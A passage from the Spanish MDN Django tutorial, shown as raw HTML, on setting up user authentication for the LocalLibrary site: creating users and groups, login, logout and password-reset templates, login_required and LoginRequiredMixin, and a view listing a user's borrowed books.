quieres, simplemente llamando a la API provista para loguear al usuario. Sin embargo, en este artículo vamos a usar las vistas y formularios de autenticación "en stock" de Django para nuestras páginas de login y logout. De todos modos necesitaremos crear algunas plantillas, pero eso es bastante fácil.</p> + +<p>Te mostraremos también cómo crear permisos, y revisar el estado de login y permisos tanto en vistas como en plantillas.</p> + +<h2 id="Habilitanto_la_autenticación">Habilitanto la autenticación</h2> + +<p>La autenticación fue habilitada automáticamente cuando <a href="/es/docs/Learn/Server-side/Django/skeleton_website">creamos el sitio web esqueleto</a> (en el tutorial 2), así que no necesitas hacer nada más en este punto.</p> + +<div class="note"> +<p><strong>Nota</strong>: Toda la configuración necesaria fue hecha por nosotros cuando creamos la aplicación usando el comando <code>django-admin startproject</code>. Las tablas de base de datos para los usuarios y permisos de modelo fueron creados la primera vez que ejecutamos <code>python manage.py migrate</code>.</p> +</div> + +<p>La configuración se establece en las secciones <code>INSTALLED_APPS</code> y <code>MIDDLEWARE</code> del archivo del proyecto (<strong>locallibrary/locallibrary/settings.py</strong>), como se muestra abajo:</p> + +<pre class="brush: python notranslate">INSTALLED_APPS = [ + ... +<strong> 'django.contrib.auth', </strong>#Core authentication framework and its default models. +<strong> 'django.contrib.contenttypes', #</strong>Django content type system (allows permissions to be associated with models). + .... + +MIDDLEWARE = [ + ... +<strong> 'django.contrib.sessions.middleware.SessionMiddleware',</strong> #Manages sessions across requests + ... +<strong> 'django.contrib.auth.middleware.AuthenticationMiddleware',</strong> #Associates users with requests using sessions. + .... +</pre> + +<h2 id="Creando_usuarios_y_grupos">Creando usuarios y grupos</h2> + +<p>Ya creaste tu primer usuario cuando revisamos el <a href="/es/docs/Learn/Server-side/Django/Admin_site">sitio de administración de Django</a> en el tutorial 4 (fue un superusuario, creado con el comando <code>python manage.py createsuperuser</code>). Nuestro superusuario ya está autenticado y tiene todos los permisos, así que necesitaremos crear un usuario de prueba que represente un usuario normal del sitio. Estaremos usando el sitio de administración para crear los grupos y logins de nuestro sitio web <em>BibliotecaLocal</em>, ya que es una de las formas más rápidas de hacerlo.</p> + +<div class="note"> +<p><strong>Nota</strong>: Puedes también crear usuarios mediante programación, como se muestra abajo. Tendrías que hacerlo, por ejemplo, si estuvieras desarrollando una interfaz para permitir a los usuarios crear sus propios logins (no deberías dar a los usuarios acceso al sito de administración).</p> + +<pre class="brush: python notranslate">from django.contrib.auth.models import User + +# Create user and save to the database +user = User.objects.create_user('myusername', 'myemail@crazymail.com', 'mypassword') + +# Update fields and then save again +user.first_name = 'John' +user.last_name = 'Citizen' +user.save() + +</pre> +</div> + +<p>A continuación, primero crearemos un grupo y luego un usuario. Aunque no tengamos ningún permiso aún para otorgar a los miembros de nuestra biblioteca, si lo necesitamos para más adelante, será mucho más fácil otorgarlo una vez al grupo que individualmente a cada miembro.</p> + +<p>Inicia el servidor de desarrollo y navega hasta el sitio de administracion en tu navegador web local (<a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin/</a>). Ingresa al sitio usando las credenciales de la cuenta de tu superusuario. El nivel superior del sitio de administracion "Admin site" muestra todos tus modelos, ordenados por la aplicacion por defecto de Django "django application". Desde la seccion de <strong>Autenticación y Autorización </strong>puedes dar click en los enlaces de <strong>Usuarios </strong>"Users" y <strong>Grupos </strong>"Groups" para ver todos sus registros existentes.</p> + +<p><img alt="Admin site - add groups or users" src="https://mdn.mozillademos.org/files/14091/admin_authentication_add.png" style="border-style: solid; border-width: 1px; display: block; height: 364px; margin: 0px auto; width: 661px;"></p> + +<p>Primero vamos a crear un nuevo grupo para los miembros de nuestra biblioteca.</p> + +<ol> + <li>Da click en el boton <strong>Add </strong>"Añadir" (Enseguida de Group) para crear un nuevo grupo ; ingresa el <strong>Nombre </strong>"Name" para el grupo de "Library Members".<img alt="Admin site - add group" src="https://mdn.mozillademos.org/files/14093/admin_authentication_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 561px; margin: 0px auto; width: 800px;"></li> + <li>No necesitamos de ningun permiso para el grupo , entonces solo presiona Save (Seras redirigido a una lista de los grupos disponibles).</li> +</ol> + +<p>Ahora vamos a crear un usuario:</p> + +<ol> + <li>Navega de vuelta a la pagina de inicio "home" del sitio de administracion "Admin site".</li> + <li>Da click en el boton <strong>Add </strong>"Añadir" que queda enseguida de Users "Usuarios" para abrir el cuadro de dialogo de Usuario <strong>Add </strong>"Añadir usuario".<img alt="Admin site - add user pt1" src="https://mdn.mozillademos.org/files/14095/admin_authentication_add_user_prt1.png" style="border-style: solid; border-width: 1px; display: block; height: 409px; margin: 0px auto; width: 800px;"></li> + <li>Ingresa un <strong>Nombre de Usuario </strong>"Username", <strong>Contraseña </strong>"Password" y <strong>Confirmacion de Contraseña</strong> "Password confirmation" apropiado para tu usuario de prueba.</li> + <li>Presiona <strong>Save </strong>"Guardar" para crear el usuario.<br> + <br> + El sitio de administrador creara el nuevo usuario e inmediatamente te llevara a la pantalla de <em>Change user </em>"Cambios del usuario" donde puedes cambiar tu <strong>nombre de usuario</strong> "Username" y agregar informacion para los campos opcionales del modelo de Usuario "User". Estos campos incluyen el primer nombre "first name", el apellido "last name", la direcion de correo electronico "email adress", los estados de los usuarios y sus permisos "users status and permissions" (solo el indicador <strong>Active </strong>"Activo" deberia ser activado). Mas abajo puedes especificar los grupos y permisos del usuario, y ver datos importantes relacionados a el usuario (ej: la fecha en que se agrego y la fecha del ultimo inicio de sesion)</li> + <li><img alt="Admin site - add user pt2" src="https://mdn.mozillademos.org/files/14097/admin_authentication_add_user_prt2.png" style="border-style: solid; border-width: 1px; display: block; height: 635px; margin: 0px auto; width: 800px;"></li> + <li>En la seccion <em>Groups</em> "Grupos", selecciona el grupo <strong>Library Member</strong> de la lista de grupos disponibles, y entonces presiona la <strong>la flecha apuntando a la derecha </strong>entre las dos cajas para moverlo dentro de la caja de <em>Chosen groups </em>"Grupos seleccionados".<img alt="Admin site - add user to group" src="https://mdn.mozillademos.org/files/14099/admin_authentication_user_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 414px; margin: 0px auto; width: 933px;"></li> + <li>Aqui no necesitamos hacer nada adicional, entonces de nuevo solo seleciona <strong>SAVE</strong> "Guardar", para ir a la lista de usuarios.</li> +</ol> + +<p>¡Esta hecho! Ahora tienes la cuenta de un miembro normal de la libreria, el cual estara disponible para ser usado en tus pruebas (una vez que hayamos implementado las paginas para permitirles iniciar sesion).</p> + +<div class="note"> +<p><strong>Nota</strong>: Deberias intentar crear otro usuario miembro de <em>library. </em>Al igual que un grupo para los bibliotecarios <em>"Librarians", </em>¡y agregar usuarios a este tambien! </p> +</div> + +<h2 id="Configurando_nuestras_vistas_de_autenticación">Configurando nuestras vistas de autenticación</h2> + +<p>Django provee todo lo necesario para crear las páginas de autenticación para manejar inicio y cierre de sesión y gestión de contraseñas "fuera de la caja". Esto incluye un mapeador de URL, vistas "views" y formularios "forms", pero no incluye las plantillas "templates", ¡Tenemos que crear las nuestras!</p> + +<p>En esta sección, mostramos cómo integrar el sistema por defecto en el sitio web de <em>BibliotecaLocal </em>y crear plantillas "templates". Las incluiremos en las URLs principales del proyecto.</p> + +<div class="note"> +<p><strong>Nota</strong>: No tienes que usar nada de este código, pero es probable que quieras hacerlo porque hace las cosas mucho más fáciles. Seguramente necesitará cambiar el código de manejo de formularios si cambia su modelo de usuario (¡un tema avanzado!) pero aun asi, todavía podrá usar las funciones de vista de stock.</p> +</div> + +<div class="note"> +<p><strong>Nota: </strong>En este caso podríamos razonablemente poner las páginas de autenticación, incluyendo las direcciones URL y plantillas, dentro de nuestra aplicación de catálogo. Sin embargo, si tuviéramos varias aplicaciones, sería mejor separar este comportamiento de inicio de sesión compartido y tenerlo disponible en todo el sitio, ¡así que eso es lo que hemos mostrado aquí!</p> +</div> + +<h3 id="URLs_del_proyecto">URL's del proyecto</h3> + +<p>Añade el siguiente codigo al final del archivo url.py del proyecto (<strong>locallibrary/locallibrary/urls.py</strong>) :</p> + +<pre class="brush: python notranslate">#Add Django site authentication urls (for login, logout, password management) +urlpatterns += [ + path('accounts/', include('django.contrib.auth.urls')), +] +</pre> + +<p>Navega hasta la URL <a href="http://127.0.0.1:8000/accounts/">http://127.0.0.1:8000/accounts/</a> (¡Nota la barra inclinada hacia adelante!) y Django mostrara un error, diciendo que no puede encontrar esta URL, y listando todas las URL's que ha intentado. Aqui puedes ver las URL's que funcionaran, por ejemplo:</p> + +<div class="note"> +<p><strong>Nota: </strong>Usando el metodo anterior, añade las siguientes URL's con sus respectivos nombres entre corchetes, los cuales pueden ser usados para revertir "reverse" el mapeado de las URL's. No necesitas implementar nada mas, el anterior mapeado de URL's asigna automaticamente las mencionadas URL's.</p> +</div> + +<div class="note"> +<pre class="brush: python notranslate">^accounts/login/$ [name='login'] +^accounts/logout/$ [name='logout'] +^accounts/password_change/$ [name='password_change'] +^accounts/password_change/done/$ [name='password_change_done'] +^accounts/password_reset/$ [name='password_reset'] +^accounts/password_reset/done/$ [name='password_reset_done'] +^accounts/reset/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$ [name='password_reset_confirm'] +^accounts/reset/done/$ [name='password_reset_complete']</pre> +</div> + +<p>Ahora intenta navegar a la URL de inicio de sesion "login"(<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>). Esto fallara de nuevo, pero ahora con un error diciendote que no encuentra la plantilla "template" requerida (<strong>registration/login.html</strong>) por el buscador de directorios de plantillas . Veras el las siguientes lineas en la seccion amarilla en la parte superior:</p> + +<pre class="brush: python notranslate">Exception Type: TemplateDoesNotExist +Exception Value: <strong>registration/login.html</strong></pre> + +<p>El siguiente paso es crear un directorio de registro en la busqueda de directorios y entonces agregar el archivo <strong>login.html.</strong></p> + +<h3 id="Directorio_de_plantilla_template">Directorio de plantilla "template"</h3> + +<p>Las URL's (y vistas "views" implicitas) que recien hemos añadido esperan encontrar sus plantillas "templates" asociadas en un directorio "<strong>/registration/"</strong> en algún lugar de la ruta de búsqueda de plantillas</p> + +<p>Para este sitio pondremos nuestra pagina HTML en el directorio <strong>"templates/registration/". </strong>Este directorio debera estar en el directorio raiz de tu proyecto, es decir, el mismo directorio de las carpetas donde estan <strong>catalog </strong>y <strong>locallibrary</strong>. Por favor ahora crea las carpetas "templates" y dentro de esta "registration".</p> + +<div class="note"> +<p><strong>Note:</strong> Your folder structure should now look like the below:<br> + locallibrary (django project folder)<br> + |_catalog<br> + |_locallibrary<br> + |_templates <strong>(new)</strong><br> + |_registration</p> +</div> + +<p>Para hacer estos directorios visibles al cargador de plantillas (es decir introducir este directorio en el buscador de directorios de plantillas) abre el archivo de configuracion del proyecto setting.py (<strong>/locallibrary/locallibrary/settings.py)</strong>, y actualiza la seccion de <strong>TEMPLATES </strong>con la linea <strong>'DIRS'</strong> como se muestra a continuacion.</p> + +<pre class="brush: python notranslate">TEMPLATES = [ + { + ... +<strong> 'DIRS': ['./templates',],</strong> + 'APP_DIRS': True, + ... +</pre> + +<h3 id="Plantilla_inicio_de_sesión_login">Plantilla inicio de sesión "login"</h3> + +<div class="warning"> +<p><strong>Importante</strong>: Las plantillas de autenticacion provista en este articulo son versiones muy basicas y ligeramete modificadas de las plantillas de inicio de sesion de demostracion de Django. ¡Necesitas personalizarlos para tus propios usos!</p> +</div> + +<p>Crea un nuevo archivo HTML llamado /<strong>locallibrary/templates/registration/login.html</strong>. suministrado en el siguiente contenido :</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} + +{% block content %} + +{% if form.errors %} +<p>Your username and password didn't match. Please try again.</p> +{% endif %} + +{% if next %} + {% if user.is_authenticated %} + <p>Your account doesn't have access to this page. To proceed, + please login with an account that has access.</p> + {% else %} + <p>Please login to see this page.</p> + {% endif %} +{% endif %} + +<form method="post" action="{% url 'login' %}"> +{% csrf_token %} + +<div> + <td>\{{ form.username.label_tag }}</td> + <td>\{{ form.username }}</td> +</div> +<div> + <td>\{{ form.password.label_tag }}</td> + <td>\{{ form.password }}</td> +</div> + +<div> + <input type="submit" value="login" /> + <input type="hidden" name="next" value="\{{ next }}" /> +</div> +</form> + +{# Assumes you setup the password_reset view in your URLconf #} +<p><a href="{% url 'password_reset' %}">Lost password?</a></p> + +{% endblock %}</pre> + +<p id="sect1">Estas plantillas comparten algunas similitudes con algunas que hemos visto antes — extiende nuestra plantilla base y sobreescribe el bloque <code>content</code>. El resto del código es un código de manejo de formularios bastante estándar, que trataremos en un tutorial posterior. Todo lo que necesitas saber por ahora es que esto mostrará un formulario en el que puedes introducir tu usuario y contraseña, y que si introduces valores inválidos se te pedirá que ingreses los valores correctos cuando la página refresque.</p> + +<p>Navega de vuelta a la página de inicio sesión (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>) una vez que hayas guardado tu plantilla, y deberías ver algo como esto:</p> + +<p><img alt="Library login page v1" src="https://mdn.mozillademos.org/files/14101/library_login.png" style="border-style: solid; border-width: 1px; display: block; height: 173px; margin: 0px auto; width: 441px;"></p> + +<p>Si intentas iniciar sesión tendrá éxito y serás redirigido a otra página (por defecto será <a href="http://127.0.0.1:8000/accounts/profile/">http://127.0.0.1:8000/accounts/profile/</a>). El problema aquí es que, por defecto, Django espera que después de iniciar sesión seas llevado a una página de perfil (que podrá ser el caso o no). Como no has definido esta página todavía, ¡obtendrás otro error!</p> + +<p>Abre la configuración del proyecto (<strong>/locallibrary/locallibrary/settings.py</strong>) y añade al final el texto de abajo. Ahora cuando inicies sesión deberías ser redirigido a la página de inicio por defecto.</p> + +<pre class="brush: python notranslate"># Redirect to home URL after login (Default redirects to /accounts/profile/) +LOGIN_REDIRECT_URL = '/' +</pre> + +<h3 id="Plantilla_cierre_de_sesión_logout">Plantilla cierre de sesión "logout"</h3> + +<p>Si navegas a la url de cierre de sesión (<a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a>) verás un extraño comportamiento — tu usuario cerrará la sesión, pero serás llevado a la página de cierre de sesión del <strong>Administrador</strong>. Eso no es lo que quieres, aunque sólo sea porque el enlace de inicio de sesión de esa página te lleva a la pantalla del inicio de sesión del Administrador (y eso sólo está disponible a los usuarios que tienen el permiso <code>is_staff</code>).</p> + +<p>Crea y abre el fichero /<strong>locallibrary/templates/registration/logged_out.html</strong>. Copia en él el siguiente texto:</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} + +{% block content %} +<p>Logged out!</p> + +<a href="{% url 'login'%}">Click here to login again.</a> +{% endblock %}</pre> + +<p>Esta plantilla es muy simple. Tan sólo muestra un mensaje informándote que has cerrado sesión, y provee un enlace que puedes pulsar para volver a la página de inicio de sesión. Si vas a la url de cierre de sesión otra vez, deberías ver esta página:</p> + +<p><img alt="Library logout page v1" src="https://mdn.mozillademos.org/files/14103/library_logout.png" style="border-style: solid; border-width: 1px; display: block; height: 169px; margin: 0px auto; width: 385px;"></p> + +<h3 id="Plantillas_de_reinicio_de_contraseña_Password_reset">Plantillas de reinicio de contraseña "Password reset"</h3> + +<p>El sistema de reinicio de contraseña usa el correo electrónico para enviar al usuario un enlace de reinicio. Necesitas crear formularios para obtener la dirección de correo electrónico del usuario, enviar el correo, permitirle introducir una nueva contraseña y tenerla en cuenta cuando todo el proceso se haya completado.</p> + +<p>Las siguientes plantillas pueden usarse como un punto de partida.</p> + +<h4 id="Formulario_de_reinicio_de_contraseña">Formulario de reinicio de contraseña</h4> + +<p>Este es el formulario para obtener la dirección del correo electrónico del usuario (para enviar el correo de reinicio de contraseña). Crea <strong>/locallibrary/templates/registration/password_reset_form.html</strong>, y establece el siguiente contenido:</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} +{% block content %} + +<form action="" method="post">{% csrf_token %} + {% if form.email.errors %} \{{ form.email.errors }} {% endif %} + <p>\{{ form.email }}</p> + <input type="submit" class="btn btn-default btn-lg" value="Reset password" /> +</form> + +{% endblock %} +</pre> + +<h4 id="Reinicio_de_contraseña_hecho">Reinicio de contraseña hecho</h4> + +<p>Este formulario es mostrado después de que tu dirección de correo electrónico haya sido recogida. Crea <strong>/locallibrary/templates/registration/password_reset_done.html</strong>, y establece el siguiente contenido:</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} +{% block content %} +<p>We've emailed you instructions for setting your password. If they haven't arrived in a few minutes, check your spam folder.</p> +{% endblock %} +</pre> + +<h4 id="Correo_electrónico_de_reinicio_de_contraseña">Correo electrónico de reinicio de contraseña</h4> + +<p>Esta plantilla suministra el texto HTML del correo electrónico, y contiene el enlace de reseteo que enviaremos a los usuarios. Crea <strong>/locallibrary/templates/registration/password_reset_email.html</strong>, y establece el siguiente contenido:</p> + +<pre class="brush: html notranslate">Someone asked for password reset for email \{{ email }}. Follow the link below: +\{{ protocol}}://\{{ domain }}{% url 'password_reset_confirm' uidb64=uid token=token %} +</pre> + +<h4 id="Confirmación_de_reinicio_de_contraseña">Confirmación de reinicio de contraseña</h4> + +<p>Esta página es donde introduces una nueva contraseña después de pinchar el enlace en el correo electrónico de reinicio de contraseña. Crea <strong>/locallibrary/templates/registration/password_reset_confirm.html</strong>, y establece el siguiente contenido:</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} + +{% block content %} + + {% if validlink %} + <p>Please enter (and confirm) your new password.</p> + <form action="" method="post"> + <div style="display:none"> + <input type="hidden" value="\{{ csrf_token }}" name="csrfmiddlewaretoken"> + </div> + <table> + <tr> + <td>\{{ form.new_password1.errors }} + <label for="id_new_password1">New password:</label></td> + <td>\{{ form.new_password1 }}</td> + </tr> + <tr> + <td>\{{ form.new_password2.errors }} + <label for="id_new_password2">Confirm password:</label></td> + <td>\{{ form.new_password2 }}</td> + </tr> + <tr> + <td></td> + <td><input type="submit" value="Change my password" /></td> + </tr> + </table> + </form> + {% else %} + <h1>Password reset failed</h1> + <p>The password reset link was invalid, possibly because it has already been used. Please request a new password reset.</p> + {% endif %} + +{% endblock %} +</pre> + +<h4 id="Reinicio_de_contraseña_completado">Reinicio de contraseña completado</h4> + +<p>Este es el último paso de la plantilla de reinicio de contraseña, que es mostrada para notificarte cuando el reinicio de contraseña ha tenido éxito. Crea <strong>/locallibrary/templates/registration/password_reset_complete.html</strong>, y establece el siguiente contenido:</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} +{% block content %} + +<h1>The password has been changed!</h1> +<p><a href="{% url 'login' %}">log in again?</a></p> + +{% endblock %}</pre> + +<h3 id="Probando_las_nuevas_páginas_de_autenticación">Probando las nuevas páginas de autenticación</h3> + +<p>Ahora que has añadido la configuración URL y creado todas estas plantillas, ¡las páginas de autenticación ahora deberían funcionar!</p> + +<p>Puedes probar las nuevas páginas de autenticación intentando iniciar sesión y entonces cerrar sesión con tu cuenta de super administrador usando estas URLs:</p> + +<ul> + <li><a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a></li> + <li><a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a></li> +</ul> + +<p>Serás capaz de probar la funcionalidad de reinicio de contraseña desde el enlace de la página de inicio de sesión. <strong>¡Ten cuidado con el hecho de que Django solamente enviará correos de reinicio a las direcciones (usuarios) que ya están almacenadas en la base de datos!</strong></p> + +<div class="note"> +<p><strong>Nota</strong>: El sistema de reinicio de contraseña requiere que tu sitio web soporte envío de correo, que está más allá del ámbito de este artículo, por lo que esta parte <strong>no funcionará todavía</strong>. Para permitir el testeo, establece la siguiente línea al final de tu fichero settings.py. Esto registra en la consola cualquier envío de correo electrónico (y así puedes copiar el enlace de reinicio de contraseña desde dicha consola).</p> + +<pre class="brush: python notranslate">EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' +</pre> + +<p>Para más información, ver <a href="https://docs.djangoproject.com/en/1.10/topics/email/">Sending email</a> (Django docs).</p> +</div> + +<h2 id="Probando_contra_usuarios_autenticados">Probando contra usuarios autenticados</h2> + +<p>Esta sección mira a lo que podemos hacer para controlar selectivamente el contenido que el usuario ve basado en si ha iniciado sesión o no.</p> + +<h3 id="Probando_en_plantillas">Probando en plantillas</h3> + +<p>Puedes obtener información en las plantillas sobre el usuario que actualmente ha iniciado sesión con la variable de plantillas <code>\{{ user }}</code> (esto se añade por defecto al contexto de la plantilla cuando configuras el proyecto como hicimos en nuestro esqueleto).</p> + +<p>Es típico que primero pruebes con la variable de plantilla <code>\{{ user.is_authenticated }}</code> para determinar si el usuario puede ver el contenido específico. Para demostrar esto, lo siguiente que haremos será actualizar nuestra barra lateral "sidebar" para mostrar un enlace de inicio de sesión "Login" si el usuario no ha iniciado sesión, y un cierre de sesión "Logout" en el caso de que sí la haya iniciado.</p> + +<p>Abre la plantilla base (<strong>/locallibrary/catalog/templates/base_generic.html</strong>) y copia el siguiente texto en el bloque <code>sidebar</code>, justamente antes de la etiqueta de plantilla <code>endblock</code> .</p> + +<pre class="brush: html notranslate"> <ul class="sidebar-nav"> + + ... + + <strong>{% if user.is_authenticated %}</strong> + <li>User: <strong>\{{ user.get_username }}</strong></li> + <li><a href="{% url 'logout'%}?next=\{{request.path}}">Logout</a></li> + <strong>{% else %}</strong> + <li><a href="{% url 'login'%}?next=\{{request.path}}">Login</a></li> + <strong>{% endif %} </strong> + </ul></pre> + +<p>Como puedes ver, usamos las etiquetas de plantilla <code>if</code>-<code>else</code>-<code>endif</code> para condicionar el texto mostrado basado en si <code>\{{ user.is_authenticated }}</code> es cierto o no. Si el usuario está autenticado, sabemos que tenemos un usuario válido, por lo que llamamos a <strong>\{{ user.get_username }} </strong>para mostrar su nombre.</p> + +<p>Creamos los enlaces URLs del inicio y del cierre de sesión usando la etiqueta de plantilla <code>url</code> y los nombres de las respectivas configuraciones de las URL. Nótese también cómo hemos añadido <code>?next=\{{request.path}}</code> al final de las URLs. Lo que esto hace es añadir el párametro URL <font face="Consolas, Liberation Mono, Courier, monospace">next</font> que contiene la dirección (URL) de la página <em>actual</em>, al final de la URL enlazada. Después de que el usuario haya iniciado o cerrado sesión con éxito, las vistas usarán el valor de este "<code>next</code>" para redirigir al usuario de vuelta a la página donde pincharon primeramente el enlace de inicio/cierre de sesión.</p> + +<div class="note"> +<p><strong>Nota</strong>: ¡Pruébalo! Si estás en la página de inicio y pinchas en la barra lateral "sidebar", después de que la operación se complete deberías acabar de vuelta en la misma página.</p> +</div> + +<h3 id="Probando_en_vistas">Probando en vistas</h3> + +<p>Si estás usando vistas basadas en funciones, la forma más facil para restringir el acceso a tus funciones es aplicar el decorador <code>login_required</code> a tu función de vista, como se muestra más abajo. Si el usuario ha iniciado sesión entonces tu código de vista se ejecutará como normalmente lo hace. Si el usuario no ha iniciado sesión, se redirigirá a la URL de inicio de sesión definida en tu configuración de proyecto (<code>settings.LOGIN_URL</code>), pasando el directorio absoluto actual como el parámetro URL <code>next</code>. Si el usuario tiene éxito en el inicio de sesión entonces será devuelto a esta página, pero esta vez autenticado.</p> + +<pre class="brush: python notranslate">from django.contrib.auth.decorators import login_required + +@login_required +def my_view(request): + ...</pre> + +<div class="note"> +<p><strong>Nota:</strong> ¡Tú puedes hacer el mismo tipo de cosas manualmente probando con <code>request.user.is_authenticated</code>, pero el decorador es mucho más conveniente!</p> +</div> + +<p>De manera similar, la forma más fácil de restringir el acceso a los usuarios que han iniciado sesión en tus vistas basadas en clases es extender de <code>LoginRequiredMixin</code>. Necesitas declarar primeramente este <code>mixin </code>en la lista de super clases, antes de la clase de vista principal.</p> + +<pre class="brush: python notranslate">from django.contrib.auth.mixins import LoginRequiredMixin + +class MyView(LoginRequiredMixin, View): + ...</pre> + +<p>Esto tiene exactamente el mismo comportamiento de redirección que el decorador <code>login_required</code>. También puedes especificar una localización alternativa para redirigir al usuario si no están autenticados (<code>login_url</code>), y un nombre de parámetro URL en lugar de "<code>next</code>" para insertar el directorio absoluto actual (<code>redirect_field_name</code>).</p> + +<pre class="brush: python notranslate">class MyView(LoginRequiredMixin, View): + login_url = '/login/' + redirect_field_name = 'redirect_to' +</pre> + +<p>Para detalles adicionales, echa un vistazo a <a href="https://docs.djangoproject.com/en/1.10/topics/auth/default/#limiting-access-to-logged-in-users">Django docs</a>.</p> + +<h2 id="Ejemplo_-_listando_los_libros_del_usuario_actual">Ejemplo - listando los libros del usuario actual</h2> + +<p>Ahora que sabemos cómo restringir una página a un usuario concreto, vamos a crear una vista de los libros que el usuario tiene prestados actualmente.</p> + +<p>Desafortunadamente, ¡todavía no tenemos una forma de pedir prestados los libros a los usuarios! Por eso, antes de que podamos crear la lista de libros vamos primeramente a extender el modelo <code>BookInstance</code> para dar soporte al concepto de pedir prestado y usar la aplicación del Administrador Djando para alquilar un número de libros a nuestro usuario de prueba.</p> + +<h3 id="Modelos">Modelos</h3> + +<p>Primero vamos a hacer posible para los usuarios tener una <code>BookInstance</code> en alquiler (ya tenemos un <code>status</code> y una fecha <code>due_back</code>, pero no tenemos todavía una asociación entre este modelo y un Usuario). Crearemos uno usando un campo <code>ForeignKey</code> (uno-a-muchos). También necesitaremos un mecanismo sencillo para probar si un libro alquilado está atrasado.</p> + +<p>Abre <strong>catalog/models.py</strong>, e importa el modelo <code>User</code> de <code>django.contrib.auth.models</code> (añade esto justamente debajo de la anterior línea de importación, arriba del todo del fichero, para que el <code>User</code> esté disponible para el posterior código del que hace uso):</p> + +<pre class="brush: python notranslate">from django.contrib.auth.models import User +</pre> + +<p>Después añade el campo <code>borrower</code> al modelo <code>BookInstance</code>:</p> + +<pre class="brush: python notranslate">borrower = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True) +</pre> + +<p>Ya que estamos aquí, vamos a añadir una propiedad que podamos llamar desde nuestras plantillas para decir si una instancia particular de un libro está atrasada. Mientras que podríamos calcular esto en la misma plantilla, usar una propiedad (<a href="https://docs.python.org/3/library/functions.html#property">property</a>) como se muestra abajo será mucho más eficiente.</p> + +<pre class="brush: python notranslate">from datetime import date + +@property +def is_overdue(self): + if self.due_back and date.today() > self.due_back: + return True + return False</pre> + +<div class="note"> +<p><strong>Nota</strong>: Primeramente verificamos si la fecha <code>due_back</code> está vacía antes de realizar una comparación. Un campo vacío <code>due_back</code> provocaría a Django arrojar un error en lugar de mostrar la página: los valores vacíos no son comparables. ¡Esto no es algo que queramos para la experiencia de nuestros usuarios!</p> +</div> + +<p>Ahora que hemos actualizado nuestros modelos, necesitaremos hacer migraciones actuales en el proyecto y entonces aplicar esas migraciones:</p> + +<pre class="brush: bash notranslate">python3 manage.py makemigrations +python3 manage.py migrate +</pre> + +<h3 id="Administrador">Administrador</h3> + +<p>Ahora abre <strong>catalog/admin.py</strong>, y añade el campo <code>borrower</code> a la clase <code>BookInstanceAdmin</code> en ambas <code>list_display</code> y <code>fieldsets</code> como se muestra abajo. Esto hará el campo visible en la sección de Administrador, por lo que podemos asignar un <code>User</code> a una <code>BookInstance</code> cuando lo necesitemos.</p> + +<pre class="brush: python notranslate">@admin.register(BookInstance) +class BookInstanceAdmin(admin.ModelAdmin): + list_display = ('book', 'status'<strong>, 'borrower'</strong>, 'due_back', 'id') + list_filter = ('status', 'due_back') + + fieldsets = ( + (None, { + 'fields': ('book','imprint', 'id') + }), + ('Availability', { + 'fields': ('status', 'due_back'<strong>,'borrower'</strong>) + }), + )</pre> + +<h3 id="Alquilar_unos_pocos_libros">Alquilar unos pocos libros</h3> + +<p>Ahora que es posible alquilar libros a un usuario específico, ve y alquila un número de registros <code>BookInstance</code>. Establece su campo <code>borrowed</code> a tu usuario de prueba, establece el <code>status</code> "On loan" (en alquiler) y establece fechas de vencimiento tanto en el futuro como en el pasado.</p> + +<div class="note"> +<p><strong>Nota</strong>: No escribiremos el proceso, porque ¡ya sabes cómo usar el sitio de Administrador!</p> +</div> + +<h3 id="Vista_en_alquiler">Vista en alquiler</h3> + +<p>Ahora añadiremos una vista para obtener la lista de todos los libros que han sido alquilados al usuario actual. Usaremos la misma vista de lista genérica basada en clases con la que estamos familiarizada, pero esta vez también importaremos y extenderemos de <code>LoginRequiredMixin</code>, por lo que solamente un usuario que ha iniciado sesión podrá llamar a esta vista. También elegiremos declarar una <code>template_name</code> en lugar de usar la de por defecto, porque quizás acabemos teniendo unas pocas listas diferentes de registros de BookInstance, con diferentes vistas y plantillas.</p> + +<p>Añade lo siguiente a catalog/views.py:</p> + +<pre class="brush: python notranslate">from django.contrib.auth.mixins import LoginRequiredMixin + +class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): + """ + Generic class-based view listing books on loan to current user. + """ + model = BookInstance + template_name ='catalog/bookinstance_list_borrowed_user.html' + paginate_by = 10 + + def get_queryset(self): + return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre> + +<p>Para restringir nuestra consulta a solamente los objetos BookInstance del usuario actual, vamos a reimplementar <code>get_queryset()</code> como se muestra abajo. Nótese que "o" es el código almacenado para "on loan" (en alquiler) y vamos a ordenar por la fecha <code>due_back</code> para que los elementos más antiguos se muestren primero.</p> + +<h3 id="Configuración_URL_para_libros_alquilados">Configuración URL para libros alquilados</h3> + +<p>Ahora abre <strong>/catalog/urls.py</strong> y añade la url <code>url()</code> apuntando a la vista anterior (puedes simplemente copiar el texto de abajo al final del fichero).</p> + +<pre class="brush: python notranslate">urlpatterns += [ + url(r'^mybooks/$', views.LoanedBooksByUserListView.as_view(), name='my-borrowed'), +]</pre> + +<h3 id="Plantilla_para_libros_alquilados">Plantilla para libros alquilados</h3> + +<p>Ahora todo lo que necesitamos hacer para esta página es añadir una plantilla. Primero, creamos el fichero plantilla <strong>/catalog/templates/catalog/bookinstance_list_borrowed_user.html</strong> y establecemos el siguiente contenido en ella:</p> + +<pre class="brush: python notranslate">{% extends "base_generic.html" %} 